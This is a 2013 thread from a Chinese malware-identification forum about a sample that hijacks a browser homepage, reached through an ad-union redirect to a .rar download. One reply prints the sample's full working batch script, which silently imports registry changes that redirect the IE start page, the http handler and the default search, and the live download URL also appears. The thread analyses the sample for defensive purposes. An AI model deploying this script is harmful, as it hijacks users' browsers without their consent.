请鉴定【恶意更改主页 by 阿狸】

显示全部楼层 · 发表于 2013-3-12 11:45:49

本帖最后由 wjhstu-VxG 于 2013-3-16 13:36 编辑

hxxp://union.kankan.com/a8/?a=13610323447301184&s=http%3A%2F%2Fdb%2Edownipa%2Ecom%2Finstall%2Fdl%2Fzip_vSetup_x86%2Erar&frm=www.gpxz.com&n=%E6%97%A0&t=&sh=1

显示全部楼层 · 发表于 2013-3-12 14:00:03

钓鱼

歧视IE
难道还可以盗取qq？

显示全部楼层 · 发表于 2013-3-16 13:35:51

@ECHO OFF
> "%Temp%.\DefOpen.reg" ECHO Windows Registry Editor Version 5.00
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\command]
>>"%Temp%.\DefOpen.reg" ECHO @="C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE http://www.babaw.net/"
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
>>"%Temp%.\DefOpen.reg" ECHO "Start Page"="http://www.babaw.net/"
>>"%Temp%.\DefOpen.reg" ECHO "Default_Page_URL"="http://www.babaw.net/"
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CLASSES_ROOT\http\shell\open\command]
>>"%Temp%.\DefOpen.reg" ECHO @="C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE http://www.babaw.net/"
>>"%Temp%.\DefOpen.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchScopes]
>>"%Temp%.\DefOpen.reg" ECHO "DefaultScope"="{2153705A-F2F9-4220-83D8-EC1CEB581D21}"
>>"%Temp%.\DefOpen.reg" ECHO "Version"=dword:00000001
START /WAIT REGEDIT /S "%Temp%.\DefOpen.reg"
DEL "%Temp%.\DefOpen.reg"
@start iexplore.exe http://www.pankuan.com/

复制代码

下载下来，脚本一个，更改主页……

显示全部楼层 · 发表于 2013-3-16 16:47:34

wjhstu-VxG 发表于 2013-3-16 13:35
下载下来，脚本一个，更改主页……

2153705A-F2F9-4220-83D8-EC1CEB581D21

这个是改默认搜索的

显示全部楼层 · 发表于 2013-3-16 17:05:48

本帖最后由 m220011 于 2013-3-16 17:07 编辑

迅雷看看的联盟

http://union.kankan.com/a8/?a=13610323447301184&s=http://www.dangdang.com/

复制代码

一开始以为是楼主构造的跳转来着。。。。

http://db.downipa.com/install/dl/zip_vSetup_x86.rar

复制代码

显示全部楼层 · 发表于 2013-3-16 21:40:27

m220011 发表于 2013-3-16 16:47
2153705A-F2F9-4220-83D8-EC1CEB581D21

这个是改默认搜索的

哦，soga

显示全部楼层 · 发表于 2013-3-17 22:47:18

貌似会下载一个压缩包，里面一个cmd文件

显示全部楼层 · 发表于 2013-3-18 20:05:37

蓝核发表于 2013-3-12 14:00
钓鱼

歧视IE

发生什么事啦？

显示全部楼层 · 发表于 2013-3-18 20:07:33

ELOHIM 发表于 2013-3-18 20:05
发生什么事啦？

你懂的……我是个渣渣……
我每次去毒网的时候，先用火狐再用IE

有的时候放沙盘……不过我技术太差了……

显示全部楼层 · 发表于 2013-3-18 20:09:13

蓝核发表于 2013-3-18 20:07
你懂的……我是个渣渣……
我每次去毒网的时候，先用火狐再用IE

都蓝核了，还说自己技术差。。。

让我们怎么活。。我真的没有明白，IE对这个照样无视吗？？

[已鉴定] 请鉴定【恶意更改主页 by 阿狸】

评分

评分